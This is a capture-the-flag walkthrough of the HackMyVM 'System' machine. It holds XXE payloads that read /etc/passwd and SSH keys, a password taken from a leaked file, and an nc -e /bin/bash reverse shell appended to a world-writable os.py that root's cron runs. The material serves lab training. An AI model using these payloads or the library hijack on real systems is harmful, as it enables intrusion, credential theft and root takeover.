System HackMyVm (English)
System Machine from HackMyVm [Dificult easy]
Reconnaissance
We start scanning the net using nmap
Rapidly Nmap reports the victim IP, we confirm that due to the name system.home
Then, I run nmap
again in order to know the ports and versions running in that IP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap -sSCV --min-rate=5000 -Pn -n -p- 192.168.1.44 -oN Nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-31 14:48 CEST
Stats: 0:00:32 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 52.33% done; ETC: 14:49 (0:00:30 remaining)
Warning: 192.168.1.44 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.1.44
Host is up (0.24s latency).
Not shown: 63622 closed tcp ports (reset), 1911 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
| 256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
|_ 256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: HackMyVM Panel
|_http-server-header: nginx/1.18.0
MAC Address: F8:B5:4D:EC:75:E3 (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.40 seconds
Nmap reported the ports 22 and 80 so I start with the web:
Whatever you put in the email box, the respond will be that user is already register:
Watching the code, I realize it’s using XML so I use Burp to identify the petition:
Explotation
I firstly check if we are struggle with a XXE:
We have it!, so I try to get a file system, in this case /etc/passwd and I get a user:
Since david exists as a user, we can check if a id_rsa key exists in the ./ssh directory:
We got it! lets try:
1
2
3
4
5
6
7
❯ ssh -i id_rsa david@192.168.1.44
david@192.168.1.44's password:
Permission denied, please try again.
david@192.168.1.44's password:
Permission denied, please try again.
david@192.168.1.44's password:
david@192.168.1.44: Permission denied (publickey,password).
Unfortunately, I couldn’t, that’s why the authorized_keys file is empty so we can’t login until the id_rsa.pub’s content is in there.
So, as we can list files by using XXE anyway, I try to brute force de home directory to get something else using ffuf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u http://192.168.1.44/magic.php -d '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/david/FUZZ"> ]> <details><email>&xxe;</email><password>das</password></details>' --fw 11
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://192.168.1.44/magic.php
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt
:: Data : <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/david/FUZZ"> ]> <details><email>&xxe;</email><password>das</password></details>
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 11
________________________________________________
.profile [Status: 200, Size: 892, Words: 138, Lines: 28, Duration: 15ms]
.ssh/id_rsa [Status: 200, Size: 2687, Words: 17, Lines: 39, Duration: 54ms]
.ssh/id_rsa.pub [Status: 200, Size: 653, Words: 13, Lines: 2, Duration: 44ms]
.viminfo [Status: 200, Size: 786, Words: 90, Lines: 39, Duration: 100ms]
:: Progress: [2565/2565] :: Job [1/1] :: 595 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
ffuf reports a .viminfo file, this one can be interesting.
Reading this file we apparently got a password file so lets check that file:
We got a password, lets try using it in order to login as david via ssh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ ssh david@192.168.1.44
david@192.168.1.44's password: #h4ck3rd4v!d
Linux system 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Apr 2 12:42:26 2022 from 192.168.1.5
david@system:~$
Correct, now I’m david
Privilage Escalation
Listing directories I see suid.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
david@system:/opt$ ls
suid.py
david@system:/opt$ cat suid.py
from os import system
from pathlib import Path
# Reading only first line
try:
with open('/home/david/cmd.txt', 'r') as f:
read_only_first_line = f.readline()
# Write a new file
with open('/tmp/suid.txt', 'w') as f:
f.write(f"{read_only_first_line}")
check = Path('/tmp/suid.txt')
if check:
print("File exists")
try:
os.system("chmod u+s /bin/bash")
except NameError:
print("Done")
else:
print("File not exists")
except FileNotFoundError:
Apparently what this program does is give SUID permission if cmd.txt exists in the david’s home directory and it has content. But it is not as easy as this. We can’t run this program because its permissions, we can’t try a python library hijacking because of directory permissions either.
1
2
3
ls -l suid.py
-rw-r--r-- 1 root root 563 Apr 2 2022 suid.py
Let’s try pspy to see if root or someone else may execute this program:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
--2025-03-31 10:04:07-- https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/120821432/860f70be-0564-48f5-a9da-d1c32505ffb0?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250331%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250331T140407Z&X-Amz-Expires=300&X-Amz-Signature=def16ea30de20b2eb6029a6f361a2f69273034ff354b263b40226e0a466a281b&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dpspy64&response-content-type=application%2Foctet-stream [following]
--2025-03-31 10:04:07-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/120821432/860f70be-0564-48f5-a9da-d1c32505ffb0?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250331%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250331T140407Z&X-Amz-Expires=300&X-Amz-Signature=def16ea30de20b2eb6029a6f361a2f69273034ff354b263b40226e0a466a281b&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dpspy64&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 0%[ ] pspy64 100%[=================================================================================================================================================>] 2.96M --.-KB/s in 0.06s
2025-03-31 10:04:08 (45.9 MB/s) - ‘pspy64’ saved [3104768/3104768]
Yes, a cron task is executing it:
1
2
3
4
5
2025/03/31 10:12:17 CMD: UID=0 PID=3407 |
2025/03/31 10:13:01 CMD: UID=0 PID=3409 | /usr/sbin/CRON -f
2025/03/31 10:13:01 CMD: UID=0 PID=3410 | /usr/sbin/CRON -f
2025/03/31 10:13:01 CMD: UID=0 PID=3411 | /bin/sh -c /usr/bin/python3.9 /opt/suid.py
Now let’s check the sys path:
1
2
david@system:/opt$ python3 -c 'import sys; print(sys.path)'
['', '/usr/lib/python39.zip', '/usr/lib/python3.9', '/usr/lib/python3.9/lib-dynload', '/usr/local/lib/python3.9/dist-packages', '/usr/lib/python3/dist-packages']
We can check if os or pathlib has writable permissions:
1
2
3
4
david@system:/opt$ ls /usr/lib/python3.9 -l | grep os
-rw-rw-rw- 1 root root 39063 Apr 2 2022 os.py
-rw-r--r-- 1 root root 21780 Feb 28 2021 _osx_support.py
-rw-r--r-- 1 root root 15627 Feb 28 2021 posixpath.py
os has writable permissions!. So now I write this in the end of the file:
1
2
3
4
5
6
import subprocess
def esc():
subprocess.run(["nc","-e""/bin/bash","192.168.1.89","4444"])
esc()
While I wait for the cron task to execute, I execute netcat on the indicate port and I got the connection from: